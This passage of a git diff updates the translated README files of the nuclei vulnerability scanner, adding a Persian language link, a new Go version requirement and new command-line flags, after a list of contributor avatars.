<a href="https://github.com/ghost"><img src="https://avatars.githubusercontent.com/u/10137?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/Nishan8583"><img src="https://avatars.githubusercontent.com/u/20457968?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/jdk2588"><img src="https://avatars.githubusercontent.com/u/985054?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/nothinux"><img src="https://avatars.githubusercontent.com/u/17433202?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/CodFrm"><img src="https://avatars.githubusercontent.com/u/22783163?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/CasperGN"><img src="https://avatars.githubusercontent.com/u/5549643?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/ankh2054"><img src="https://avatars.githubusercontent.com/u/6784287?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/revblock"><img src="https://avatars.githubusercontent.com/u/72813848?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/cn-kali-team"><img src="https://avatars.githubusercontent.com/u/30642514?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/EndPositive"><img src="https://avatars.githubusercontent.com/u/25148195?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/jimen0"><img src="https://avatars.githubusercontent.com/u/6826244?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/xstevens"><img src="https://avatars.githubusercontent.com/u/69216?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/mjkim610"><img src="https://avatars.githubusercontent.com/u/17107206?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/organiccrap"><img src="https://avatars.githubusercontent.com/u/376317?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/lu4nx"><img src="https://avatars.githubusercontent.com/u/3006875?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/souvikhazra1"><img src="https://avatars.githubusercontent.com/u/13842393?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/tovask"><img src="https://avatars.githubusercontent.com/u/22732484?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/Marmelatze"><img src="https://avatars.githubusercontent.com/u/199681?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/doug-threatmate"><img src="https://avatars.githubusercontent.com/u/127235272?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/yabeow"><img src="https://avatars.githubusercontent.com/u/21117771?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/olearycrew"><img src="https://avatars.githubusercontent.com/u/6044920?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/gano3s"><img src="https://avatars.githubusercontent.com/u/2551605?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/alizmhdi"><img src="https://avatars.githubusercontent.com/u/79321261?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/hackerpain"><img src="https://avatars.githubusercontent.com/u/61242234?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/lc"><img src="https://avatars.githubusercontent.com/u/19563282?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/savushkin-yauheni"><img src="https://avatars.githubusercontent.com/u/5173352?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/74616e696d"><img src="https://avatars.githubusercontent.com/u/97121933?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/edoardottt"><img src="https://avatars.githubusercontent.com/u/35783570?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/zt2"><img src="https://avatars.githubusercontent.com/u/7644862?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/moonD4rk"><img src="https://avatars.githubusercontent.com/u/24284231?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/wk8"><img src="https://avatars.githubusercontent.com/u/2536231?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/mikerott"><img src="https://avatars.githubusercontent.com/u/857712?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/toufik-airane"><img src="https://avatars.githubusercontent.com/u/5610269?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/hktalent"><img src="https://avatars.githubusercontent.com/u/18223385?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/jturner"><img src="https://avatars.githubusercontent.com/u/1825202?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/gaby"><img src="https://avatars.githubusercontent.com/u/835733?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/vavkamil"><img src="https://avatars.githubusercontent.com/u/47953210?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/leonjza"><img src="https://avatars.githubusercontent.com/u/1148127?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/mionskowski-form3"><img src="https://avatars.githubusercontent.com/u/91873652?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/chenrui333"><img src="https://avatars.githubusercontent.com/u/1580956?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/iamargus95"><img src="https://avatars.githubusercontent.com/u/77744293?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/shashikarsiddharth"><img src="https://avatars.githubusercontent.com/u/60960197?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/trypa11"><img src="https://avatars.githubusercontent.com/u/67585616?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/Zeokat"><img src="https://avatars.githubusercontent.com/u/1313154?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/alban-stourbe-wmx"><img src="https://avatars.githubusercontent.com/u/159776828?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/anykno"><img src="https://avatars.githubusercontent.com/u/2528207?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/ronaudinho"><img src="https://avatars.githubusercontent.com/u/10264710?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/boy-hack"><img src="https://avatars.githubusercontent.com/u/18695984?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/iuliu8899"><img src="https://avatars.githubusercontent.com/u/31680027?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/debasishbsws"><img src="https://avatars.githubusercontent.com/u/65381620?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/denysvitali-niantic"><img src="https://avatars.githubusercontent.com/u/157139422?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/fail-open"><img src="https://avatars.githubusercontent.com/u/72417455?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/Xc1Ym"><img src="https://avatars.githubusercontent.com/u/29765332?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/XTeam-Wing"><img src="https://avatars.githubusercontent.com/u/25416365?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/Weltolk"><img src="https://avatars.githubusercontent.com/u/40228052?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/tonghuaroot"><img src="https://avatars.githubusercontent.com/u/23011166?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/praetorian-thendrickson"><img src="https://avatars.githubusercontent.com/u/69640071?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/S0obi"><img src="https://avatars.githubusercontent.com/u/4180104?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/skahn007gl"><img src="https://avatars.githubusercontent.com/u/144735608?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/shouichi"><img src="https://avatars.githubusercontent.com/u/99586?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/seb-elttam"><img src="https://avatars.githubusercontent.com/u/111818823?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/AdallomRoy"><img src="https://avatars.githubusercontent.com/u/4046118?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/rotemreiss"><img src="https://avatars.githubusercontent.com/u/9288082?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/oscarintherocks"><img src="https://avatars.githubusercontent.com/u/1785821?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/xxcdd"><img src="https://avatars.githubusercontent.com/u/42600601?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/chen2aaron"><img src="https://avatars.githubusercontent.com/u/9978183?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/voidz0r"><img src="https://avatars.githubusercontent.com/u/1032286?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/vince-isec"><img src="https://avatars.githubusercontent.com/u/149686094?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/true13"><img src="https://avatars.githubusercontent.com/u/18207552?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/skhalsa-sigsci"><img src="https://avatars.githubusercontent.com/u/68570441?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/ShuBo6"><img src="https://avatars.githubusercontent.com/u/41125338?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/seeyarh"><img src="https://avatars.githubusercontent.com/u/16869800?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/securibee"><img src="https://avatars.githubusercontent.com/u/51520913?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/sduc"><img src="https://avatars.githubusercontent.com/u/2879617?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/scottdharvey"><img src="https://avatars.githubusercontent.com/u/25498254?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/rykkard"><img src="https://avatars.githubusercontent.com/u/51889048?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/monitor403"><img src="https://avatars.githubusercontent.com/u/45124775?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/mlec1"><img src="https://avatars.githubusercontent.com/u/42201667?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/meme-lord"><img src="https://avatars.githubusercontent.com/u/17912559?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/LazyMaple"><img src="https://avatars.githubusercontent.com/u/12314941?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/lvyaoting"><img src="https://avatars.githubusercontent.com/u/166296299?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/llussy"><img src="https://avatars.githubusercontent.com/u/18432966?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/linchizhen"><img src="https://avatars.githubusercontent.com/u/170242051?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/kiokuless"><img src="https://avatars.githubusercontent.com/u/110003596?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/Jarnpher553"><img src="https://avatars.githubusercontent.com/u/10233873?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/c-f"><img src="https://avatars.githubusercontent.com/u/35263248?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/hanghuge"><img src="https://avatars.githubusercontent.com/u/166206050?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/testwill"><img src="https://avatars.githubusercontent.com/u/8717479?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/galoget"><img src="https://avatars.githubusercontent.com/u/8353133?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/fudancoder"><img src="https://avatars.githubusercontent.com/u/171416994?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/revolunet"><img src="https://avatars.githubusercontent.com/u/124937?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/jsoref"><img src="https://avatars.githubusercontent.com/u/2119212?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/MachadoOtto"><img src="https://avatars.githubusercontent.com/u/93268441?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/jonathanwalker"><img src="https://avatars.githubusercontent.com/u/14978093?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/nHurD"><img src="https://avatars.githubusercontent.com/u/233374?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/jessekelly881"><img src="https://avatars.githubusercontent.com/u/22938931?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/JaneX8"><img src="https://avatars.githubusercontent.com/u/5116641?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/eltociear"><img src="https://avatars.githubusercontent.com/u/22633385?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/atomiczsec"><img src="https://avatars.githubusercontent.com/u/75549184?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/M-Faheem-Khan"><img src="https://avatars.githubusercontent.com/u/17150767?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/denandz"><img src="https://avatars.githubusercontent.com/u/5291556?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/tibbon"><img src="https://avatars.githubusercontent.com/u/82880?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/dany74q"><img src="https://avatars.githubusercontent.com/u/2129762?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/0x123456789"><img src="https://avatars.githubusercontent.com/u/36066426?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/danigoland"><img src="https://avatars.githubusercontent.com/u/15079567?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/ChrisMandich"><img src="https://avatars.githubusercontent.com/u/14286797?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/austintraver"><img src="https://avatars.githubusercontent.com/u/25112463?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/socialsister"><img src="https://avatars.githubusercontent.com/u/155628741?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/Anemys"><img src="https://avatars.githubusercontent.com/u/51196227?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/andreangelucci"><img src="https://avatars.githubusercontent.com/u/18552197?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/AlexS778"><img src="https://avatars.githubusercontent.com/u/98418121?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/noraj"><img src="https://avatars.githubusercontent.com/u/16578570?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/akkuman"><img src="https://avatars.githubusercontent.com/u/7813511?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/zrquan"><img src="https://avatars.githubusercontent.com/u/33086594?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/1efty"><img src="https://avatars.githubusercontent.com/u/18194777?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/rsrdesarrollo"><img src="https://avatars.githubusercontent.com/u/5142014?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/razin99"><img src="https://avatars.githubusercontent.com/u/44442082?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/MetzinAround"><img src="https://avatars.githubusercontent.com/u/65838556?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/vil02"><img src="https://avatars.githubusercontent.com/u/65706193?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/mrschyte"><img src="https://avatars.githubusercontent.com/u/8571?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/PeterDaveHello"><img src="https://avatars.githubusercontent.com/u/3691490?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/parthmalhotra"><img src="https://avatars.githubusercontent.com/u/28601533?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/owenrumney"><img src="https://avatars.githubusercontent.com/u/3049157?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/Ovi3"><img src="https://avatars.githubusercontent.com/u/29408109?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/Bisstocuz"><img src="https://avatars.githubusercontent.com/u/42398278?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/daffainfo"><img src="https://avatars.githubusercontent.com/u/36522826?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/mhmdiaa"><img src="https://avatars.githubusercontent.com/u/19687798?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/MiryangJung"><img src="https://avatars.githubusercontent.com/u/48237511?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/0xmin"><img src="https://avatars.githubusercontent.com/u/44919834?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/maikthulhu"><img src="https://avatars.githubusercontent.com/u/680830?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/sttlr"><img src="https://avatars.githubusercontent.com/u/40246850?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/iamRjarpan"><img src="https://avatars.githubusercontent.com/u/45498226?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/leoloobeek"><img src="https://avatars.githubusercontent.com/u/8801754?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/KristinnVikar"><img src="https://avatars.githubusercontent.com/u/93918469?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/kant01ne"><img src="https://avatars.githubusercontent.com/u/5072452?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/KeisukeYamashita"><img src="https://avatars.githubusercontent.com/u/23056537?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/1hehaq"><img src="https://avatars.githubusercontent.com/u/162917546?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
</p>
|
||||
|
||||
<br>
|
||||
<br>
|
||||
<br>
|
||||
|
||||
<div align="center">
|
||||
|
||||
<sub>**`nuclei`** تحت [**مجوز MIT**](https://github.com/projectdiscovery/nuclei/blob/main/LICENSE.md) منتشر شده است.</sub>
|
||||
|
||||
</div>
|
||||
|
||||
</div>
|
||||
+10
-7
@@ -9,7 +9,8 @@
|
||||
<a href="https://github.com/projectdiscovery/nuclei/blob/main/README_ES.md">`Spanish`</a> •
|
||||
<a href="https://github.com/projectdiscovery/nuclei/blob/main/README_JP.md">`日本語`</a> •
|
||||
<a href="https://github.com/projectdiscovery/nuclei/blob/main/README_PT-BR.md">`Portuguese`</a> •
|
||||
<a href="https://github.com/projectdiscovery/nuclei/blob/main/README_TR.md">`Türkçe`</a>
|
||||
<a href="https://github.com/projectdiscovery/nuclei/blob/main/README_TR.md">`Türkçe`</a> •
|
||||
<a href="https://github.com/projectdiscovery/nuclei/blob/main/README_FA.md">`فارسی`</a>
|
||||
|
||||
</div>
|
||||
|
||||
@@ -110,7 +111,7 @@ Telusuri [**`dokumentasi Nuclei lengkap di sini`**](https://docs.projectdiscover
|
||||
|
||||
### Instalasi
|
||||
|
||||
`nuclei` memerlukan **go >= 1.24.2** agar dapat diinstal dengan sukses. Jalankan perintah berikut untuk mengambil repo:
|
||||
`nuclei` memerlukan **go >= 1.27.3** agar dapat diinstal dengan sukses. Jalankan perintah berikut untuk mengambil repo:
|
||||
|
||||
```sh
|
||||
go install -v github.com/projectdiscovery/nuclei/v3/cmd/nuclei@latest
|
||||
@@ -174,7 +175,7 @@ TEMPLATES:
|
||||
-egm, -enable-global-matchers enable loading global matchers templates
|
||||
-file enable loading file templates
|
||||
-llm enable llm matchers and extractors (semantic matching)
|
||||
-llm-provider string llm provider for semantic matching (openai, ollama, llamacpp, vllm, lmstudio, groq, openrouter, together) (default "openai")
|
||||
-llm-provider string llm provider for semantic matching (openai, ollama, llamacpp, vllm, lmstudio, groq, openrouter, together, orcarouter) (default "openai")
|
||||
-llm-base-url string openai-compatible endpoint for semantic matching (overrides -llm-provider, e.g. a local model)
|
||||
-llm-model string model used for semantic matching
|
||||
-llm-timeout int time in seconds to wait for a single llm call (default 30)
|
||||
@@ -250,6 +251,7 @@ CONFIGURATIONS:
|
||||
-sip, -source-ip string source ip address to use for network scan
|
||||
-rsr, -response-size-read int max response size to read in bytes
|
||||
-rss, -response-size-save int max response size to read in bytes (default 1048576)
|
||||
-rqss, -request-size-save int max request body size to save in bytes (0 to save the whole body) (default 32768)
|
||||
-reset reset removes all nuclei configuration and data files (including nuclei-templates)
|
||||
-tlsi, -tls-impersonate enable experimental client hello (ja3) tls randomization
|
||||
-hae, -http-api-endpoint string experimental http api endpoint
|
||||
@@ -350,10 +352,11 @@ DEBUG:
|
||||
-hc, -health-check run diagnostic check up
|
||||
|
||||
UPDATE:
|
||||
-up, -update update nuclei engine to the latest released version
|
||||
-ut, -update-templates update nuclei-templates to latest released version
|
||||
-ud, -update-template-dir string custom directory to install / update nuclei-templates
|
||||
-duc, -disable-update-check disable automatic nuclei/templates update check
|
||||
-up, -update update nuclei engine to the latest released version
|
||||
-ut, -update-templates update nuclei-templates to latest released version
|
||||
-utc, -update-templates-channel string nuclei-templates update channel (stable, latest) (default "stable")
|
||||
-ud, -update-template-dir string custom directory to install / update nuclei-templates
|
||||
-duc, -disable-update-check disable automatic nuclei/templates update check
|
||||
|
||||
HONEYPOT:
|
||||
-hpd, -honeypot-detect detect potential honeypot hosts based on match concentration
|
||||
|
||||
+10
-7
@@ -9,7 +9,8 @@
|
||||
<a href="https://github.com/projectdiscovery/nuclei/blob/main/README_ES.md">`Spanish`</a> •
|
||||
<a href="https://github.com/projectdiscovery/nuclei/blob/main/README_JP.md">`日本語`</a> •
|
||||
<a href="https://github.com/projectdiscovery/nuclei/blob/main/README_PT-BR.md">`Portuguese`</a> •
|
||||
<a href="https://github.com/projectdiscovery/nuclei/blob/main/README_TR.md">`Türkçe`</a>
|
||||
<a href="https://github.com/projectdiscovery/nuclei/blob/main/README_TR.md">`Türkçe`</a> •
|
||||
<a href="https://github.com/projectdiscovery/nuclei/blob/main/README_FA.md">`فارسی`</a>
|
||||
|
||||
</div>
|
||||
|
||||
@@ -110,7 +111,7 @@ Nuclei の完全な[**`ドキュメントはこちら`**](https://docs.projectdi
|
||||
|
||||
### インストール
|
||||
|
||||
`nuclei` のインストールには **go >= 1.24.2** が必要です。以下のコマンドを実行してリポジトリを取得してください:
|
||||
`nuclei` のインストールには **go >= 1.27.3** が必要です。以下のコマンドを実行してリポジトリを取得してください:
|
||||
|
||||
```sh
|
||||
go install -v github.com/projectdiscovery/nuclei/v3/cmd/nuclei@latest
|
||||
@@ -174,7 +175,7 @@ TEMPLATES:
|
||||
-egm, -enable-global-matchers enable loading global matchers templates
|
||||
-file enable loading file templates
|
||||
-llm enable llm matchers and extractors (semantic matching)
|
||||
-llm-provider string llm provider for semantic matching (openai, ollama, llamacpp, vllm, lmstudio, groq, openrouter, together) (default "openai")
|
||||
-llm-provider string llm provider for semantic matching (openai, ollama, llamacpp, vllm, lmstudio, groq, openrouter, together, orcarouter) (default "openai")
|
||||
-llm-base-url string openai-compatible endpoint for semantic matching (overrides -llm-provider, e.g. a local model)
|
||||
-llm-model string model used for semantic matching
|
||||
-llm-timeout int time in seconds to wait for a single llm call (default 30)
|
||||
@@ -250,6 +251,7 @@ CONFIGURATIONS:
|
||||
-sip, -source-ip string source ip address to use for network scan
|
||||
-rsr, -response-size-read int max response size to read in bytes
|
||||
-rss, -response-size-save int max response size to read in bytes (default 1048576)
|
||||
-rqss, -request-size-save int max request body size to save in bytes (0 to save the whole body) (default 32768)
|
||||
-reset reset removes all nuclei configuration and data files (including nuclei-templates)
|
||||
-tlsi, -tls-impersonate enable experimental client hello (ja3) tls randomization
|
||||
-hae, -http-api-endpoint string experimental http api endpoint
|
||||
@@ -350,10 +352,11 @@ DEBUG:
|
||||
-hc, -health-check run diagnostic check up
|
||||
|
||||
UPDATE:
|
||||
-up, -update update nuclei engine to the latest released version
|
||||
-ut, -update-templates update nuclei-templates to latest released version
|
||||
-ud, -update-template-dir string custom directory to install / update nuclei-templates
|
||||
-duc, -disable-update-check disable automatic nuclei/templates update check
|
||||
-up, -update update nuclei engine to the latest released version
|
||||
-ut, -update-templates update nuclei-templates to latest released version
|
||||
-utc, -update-templates-channel string nuclei-templates update channel (stable, latest) (default "stable")
|
||||
-ud, -update-template-dir string custom directory to install / update nuclei-templates
|
||||
-duc, -disable-update-check disable automatic nuclei/templates update check
|
||||
|
||||
HONEYPOT:
|
||||
-hpd, -honeypot-detect detect potential honeypot hosts based on match concentration
|
||||
|
||||
+10
-7
@@ -9,7 +9,8 @@
|
||||
<a href="https://github.com/projectdiscovery/nuclei/blob/main/README_ES.md">`Spanish`</a> •
|
||||
<a href="https://github.com/projectdiscovery/nuclei/blob/main/README_JP.md">`日本語`</a> •
|
||||
<a href="https://github.com/projectdiscovery/nuclei/blob/main/README_PT-BR.md">`Portuguese`</a> •
|
||||
<a href="https://github.com/projectdiscovery/nuclei/blob/main/README_TR.md">`Türkçe`</a>
|
||||
<a href="https://github.com/projectdiscovery/nuclei/blob/main/README_TR.md">`Türkçe`</a> •
|
||||
<a href="https://github.com/projectdiscovery/nuclei/blob/main/README_FA.md">`فارسی`</a>
|
||||
|
||||
</div>
|
||||
|
||||
@@ -110,7 +111,7 @@ Nuclei 전체 [**`문서를 여기에서`**](https://docs.projectdiscovery.io/to
|
||||
|
||||
### 설치
|
||||
|
||||
`nuclei` 설치에는 **go >= 1.24.2** 가 필요합니다. 다음 명령어를 실행하여 저장소를 가져옵니다:
|
||||
`nuclei` 설치에는 **go >= 1.27.3** 가 필요합니다. 다음 명령어를 실행하여 저장소를 가져옵니다:
|
||||
|
||||
```sh
|
||||
go install -v github.com/projectdiscovery/nuclei/v3/cmd/nuclei@latest
|
||||
@@ -174,7 +175,7 @@ TEMPLATES:
|
||||
-egm, -enable-global-matchers enable loading global matchers templates
|
||||
-file enable loading file templates
|
||||
-llm enable llm matchers and extractors (semantic matching)
|
||||
-llm-provider string llm provider for semantic matching (openai, ollama, llamacpp, vllm, lmstudio, groq, openrouter, together) (default "openai")
|
||||
-llm-provider string llm provider for semantic matching (openai, ollama, llamacpp, vllm, lmstudio, groq, openrouter, together, orcarouter) (default "openai")
|
||||
-llm-base-url string openai-compatible endpoint for semantic matching (overrides -llm-provider, e.g. a local model)
|
||||
-llm-model string model used for semantic matching
|
||||
-llm-timeout int time in seconds to wait for a single llm call (default 30)
|
||||
@@ -250,6 +251,7 @@ CONFIGURATIONS:
|
||||
-sip, -source-ip string source ip address to use for network scan
|
||||
-rsr, -response-size-read int max response size to read in bytes
|
||||
